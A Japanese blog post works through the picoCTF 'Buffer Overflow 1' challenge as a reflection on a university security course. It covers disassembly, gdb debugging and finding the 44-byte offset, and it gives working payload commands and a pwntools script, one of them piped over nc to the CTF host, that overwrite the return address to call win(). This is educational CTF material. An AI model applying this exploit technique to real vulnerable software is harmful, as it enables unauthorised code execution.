Binary Exploitation

OMSCS IIS での Binary Exploitation に関する振り返り

OMSCS で受講した Introduction to Information Security (IIS) にて学んだ Buffer Overflow に関して、学びが多かったことから、実際の CTF の問題を題材にして解法を整理する。

Overall

OMSCS で 2 番目に受講した Introduction to Information Security (IIS) にて、Buffer Overflow の問題を解いたが、学びが多かったことから、その解法をまとめる。IIS を受講した際の詳細に関しては、以下の記事にまとめた。

CS 6035 Introduction to Information Security

今回解く Buffer Overflow の問題は、実際の CTF の問題を題材とした。CTF (Capture the Flag ) に関しては、脆弱性を用いてフラッグを取得するコンテストである。常設の CTF である picoCTF において、授業で学んだことを活かせそうな問題があったことから、こちらを参照した。picoCTF に関しては、中高生を対象とするような CTF の問題がホストされているサイトであるため、比較的シンプルな問題が多いとのことであった。picoCTF の Binary Exploitaion の Buffer Overflow 1 を解いた。picoCTF にログインし、Webshell 上で問題を進めた。

picoCTF

なお、本投稿は実際に攻撃することを目的としておらず、ここでの紹介はこれらの攻撃に対する注意を促すことが目的である。

Source Code

まず、ソースコードを確認すると、main から vuln 関数が呼び出され gets 関数で buf の読み取りを行っている。vuln 関数においては、return address を print する動作になっている。return address に関しては、関数などを呼び出した後に、どこに戻るべきか場所を記録するものである。加えて、win 関数が定義されているが、どこからも参照されていないことがわかる。 ソースコードは以下の通りである。

source_code

return address に関しては、こちらで説明が行われている。

コールスタック

gets 関数に関しては、入力可能な文字列を事前に定義することができないため、Buffer Overflow の実施が可能である。

C言語初心者必見!gets関数の完全ガイドと10の鮮明な使用例

実行ファイルを実行してみると、vuln 関数の return adress が print され、0x804932f であることが確認できる。

1
2
3
4
~$ ./vuln
Please enter your string: 
a
Okay, time to return... Fingers Crossed... Jumping to 0x804932f

Disassemble

vuln 関数の return adress がなぜ 0x804932f であるか、objdump でコンパイル済みの実行ファイルを逆アセンブル (disassemble) し、アセンブラ言語に変換させて確認する。 以下によって、実行ファイル vuln の逆アセンブルが可能である。

1
objdump -D vuln > vuln.asm

ELF実行ファイルをobjdumpでCのソースコード付きで逆アセンブルする方法

vuln.asm の main 部分を確認すると 0x804932a で vuln 関数を呼び出している。そのため、実行ファイルを実行した際に、vuln 関数から main に戻るため、return address が 0x804932a の次のアドレス 0x804932f になっている。今回、フラッグを取得するためには、この return address を書き換え win 関数の address とし、通常では実行されない関数の呼び出しを行う必要がある。

disassemble_main

Debug

gdb を用いてデバッグを行うことが可能であるが、gdb は可読性に優れていないため、以下の手順を参考に gdb-peda をインストールした。

gdbデバッガを使う

gdb の利用方法に関しては、上記のリンクで説明されている通りだが、デバッグを開始すると b でブレイクポイントを設定することができるため、以下で vuln 関数に対してブレイクポイントを設定した。なお、gdb-peda によって、registers, code, stack を一度に表示させることが可能である。

1
b *vuln 

vuln 関数に入ったばかりの状態で、stack の一番上の 0xfffef54c を確認すると、return address を確認することができ、0x804932f となっていることが確認できる。 info frame の結果からも saved eip が 0x804932f であることがわかり、以下の情報にあるようにこちらは return address を示す。

saved eip “0x804869a” is the so called “return address”, i.e., the instruction to resume in the caller stack frame after returning from this callee stack. It is pushed onto the stack upon the “CALL” instruction (save it for return).

How to interpret GDB “info frame” output?

gdb_vuln

試しに入力を test とすると 0xfffef520 (“test”) とあり、0xfffef520 に test が格納されていることが確認できる。

gdb_input

整理すると、vuln 関数の return address は 0xfffef54c に格納されており、stack は実行が進むにつれてメモリアドレスの値の低い方に格納されていくため、buf は 0xfffef520 に格納されている。0xfffef54c - 0xfffef520 = 2c となるので、buf の格納されている 0xfffef520 から 44 byte 離れた 0xfffef54c に return address が存在する。 その結果、44 byte の適当な文字と win 関数の address を組み合わせた入力を渡すことで、return address を上書きが可能そうに見受けられる。

Solution

上記で address を確認し、計算から入力の何文字目に return address となるか確認を行ったが、Python ライブラリの pwntools を利用することで、効率的にこの確認が可能である。 pwntools における cyclic を利用すると、以下のようなパターン文字列を生成することができる。

1
2
3
4
>>> from pwn import *
>>> cyclic(100)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
>>> 

この文字列を対象の実行ファイルの入力として gdb で実行すると、return address が 0x6161616c に上書きされていることがわかる。

1
run <<< $(python3 -c 'import sys; sys.stdout.write("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")')

gdb_padding

return address が 0x6161616c で上書きされているため、cyclic_find を利用すると 0x6161616c が文字列のどこの部分に該当するか返し、何文字目以降が return address となるか確認することができる。その結果が以下であるが、44 文字の文字列を得ることができ、44 byte に該当することから、上記で address を確認して計算した結果と合致する。つまり、この文字列に win 関数の return address を付け足せば良い。

1
2
3
>>> cyclic(cyclic_find( 0x6161616c ))
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa'
>>> 

win 関数のアドレスを得るため、再度、逆アセンブルした vuln.asm を確認する。 win 関数は 0x080491f6 から始まることがわかるため、上記で得られた 44 byte の文字列に 0x080491f6 を加える。

disassemble_win

なお、win 関数の address は 0x080491f6 であるが、little endian であることから、最下位のバイトから上位に向けて扱われるため、0x080491f6 は f6 から逆に入力とする必要がある。

1
2
>>> cyclic(cyclic_find( 0x6161616c )) + p32( 0x080491f6 )
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa\xf6\x91\x04\x08'

そのため、以下のように入力とするとことで、win 関数の呼び出しが可能である。

1
run <<< $(python3 -c 'import sys; sys.stdout.write("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa")'; echo -e '\xf6\x91\x04\x08')

実際に Return Address が win 関数の Address に書き換えられていることが確認でき、vuln の実行が終わった後も main に戻ることなく、win 関数が呼ばれていることが確認できる。

gdb_payload

gdb_win

picoCTF においては指定されたインスタンスに入力を渡す必要があるため、以下のように実行することで、フラッグを取得可能である。

1
(python3 -c 'import sys; sys.stdout.write("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa")'; echo -e '\xf6\x91\x04\x08') | nc saturn.picoctf.net <port>

なお、実行ファイルに入力を引き渡すことでフラッグが得られるような場合には、以下のようにして Python で完結することも可能である。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

context.update(arch='x86_64', os='linux')
payload  = cyclic(   cyclic_find( 0x6161616c ) )

payload += p32( 0x080491f6 )
p = process(os.getcwd() + "/vuln")

p.sendline(payload)
p.interactive()

Pwntoolsの機能と使い方まとめ【日本語】#CTF #Pwn

Reflection

レジスターやアセンブラ言語に関して触れる良い機会になった。デバッグを行うことで、stack の動作や return address の役割に関して実際に確認することができ、プログラムがどう動くかより理解が深まったと思う。今後、OS の授業などでより深い内容を学ぶ際に、今回学んだことが導入として非常に役に立つと考えられる。

Licensed under CC BY-NC-SA 4.0
Hugo で構築されています。
テーマ StackJimmy によって設計されています。